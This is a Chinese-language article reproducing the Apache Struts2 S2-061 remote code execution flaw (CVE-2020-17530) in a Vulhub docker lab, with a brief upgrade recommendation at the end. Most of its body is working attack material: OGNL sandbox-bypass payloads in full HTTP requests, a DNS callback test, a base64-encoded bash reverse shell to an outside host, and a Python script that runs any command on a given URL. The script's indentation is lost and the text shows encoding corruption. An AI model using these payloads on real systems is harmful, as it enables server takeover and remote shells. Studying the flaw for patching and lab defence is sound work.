如何進(jìn)行Apache Struts2 061遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)如何進(jìn)行Apache Struts2 061遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)，文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。

0x00漏洞簡(jiǎn)述

Apache Struts2框架是一個(gè)用于開(kāi)發(fā)Java EE網(wǎng)絡(luò)應(yīng)用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 遠(yuǎn)程代碼執(zhí)行漏洞，開(kāi)發(fā)人員使用了 %{…} 語(yǔ)法，從而攻擊者可以通過(guò)構(gòu)Payload，從而造成遠(yuǎn)程代碼執(zhí)行。

該漏洞編號(hào)為 CVE-2020-17530 ，漏洞等級(jí)：高危 ，漏洞評(píng)分：7.5

S2-061是對(duì)S2-059沙盒進(jìn)行的繞過(guò)！

0x01影響版本

Apache Struts2：2.0.0 - 2.5.25

0x02漏洞復(fù)現(xiàn)

漏洞項(xiàng)目

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

虛擬機(jī)部署docker安裝Vulhub一鍵搭建漏洞測(cè)試靶場(chǎng)環(huán)境。

docker-compose up -d

1、漏洞環(huán)境啟動(dòng)

2、訪問(wèn)漏洞環(huán)境

3、測(cè)試漏洞是否存在

%25%7b+%27yunzui%27+%2b+(520+%2b+520).toString()%7d

執(zhí)行效果

http://192.168.60.139:8080/?id=%25%7b+%27yunzui%27+%2b+(520+%2b+520).toString()%7d

4、漏洞利用

1.DNSlog出網(wǎng)驗(yàn)證

域名生成 rtlyas.dnslog.cn

POST /index.action HTTP/1.1

Host: 192.168.60.139:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Length: 846

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping rtlyas.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

DNGlog解析記錄發(fā)現(xiàn)可以出網(wǎng)

2.exp進(jìn)行命令執(zhí)行   whoami

方法一

POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

方法二

POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1365

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

3.反彈shell命令

通過(guò)以下在線地址將bash反彈命令進(jìn)行進(jìn)行編碼轉(zhuǎn)換

bash -i >& /dev/tcp/192.168.60.129/8888  0>&1

http://www.jackson-t.ca/runtime-exec-payloads.html

POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1456

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOS84ODg4ICAwPiYx}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

發(fā)現(xiàn)可以成功反彈shell

4、Python腳本驗(yàn)證

# encoding=utf-8
import requests
import sys
from lxml import etree

def exp(url,cmd):
payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+cmd+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"
tturl=url+"/?id="+payload
r=requests.get(tturl)
page=r.text
#   etree=html.etree
page=etree.HTML(page)
data = page.xpath('//a[@id]/@id')
print(data[0])

if __name__=='__main__':
print('+------------------------------------------------------------+')
print('+ EXP: python struts2-061-poc.py http://8.8.8.8:8080 id      +')
print('+ VER: Struts 2.0.0-2.5.25                                   +')
print('+------------------------------------------------------------+')
print('+ S2-061 RCE && CVE-2020-17530                               +')
print('+------------------------------------------------------------+')
if len(sys.argv)!=3:
print("[+]ussage: http://ip:port command")
print("[+]============================================================")
sys.exit()
url=sys.argv[1]
cmd=sys.argv[2]
exp(url,cmd)

執(zhí)行

python CVE-2020-17530.py http://192.168.60.139:8080 whoami

0x03修復(fù)建議

升級(jí)到 Struts 2.5.26 版本，下載地址為：

Version Notes 2.5.26

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26

上述就是小編為大家分享的如何進(jìn)行Apache Struts2 061遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)了，如果剛好有類(lèi)似的疑惑，不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí)，歡迎關(guān)注億速云行業(yè)資訊頻道。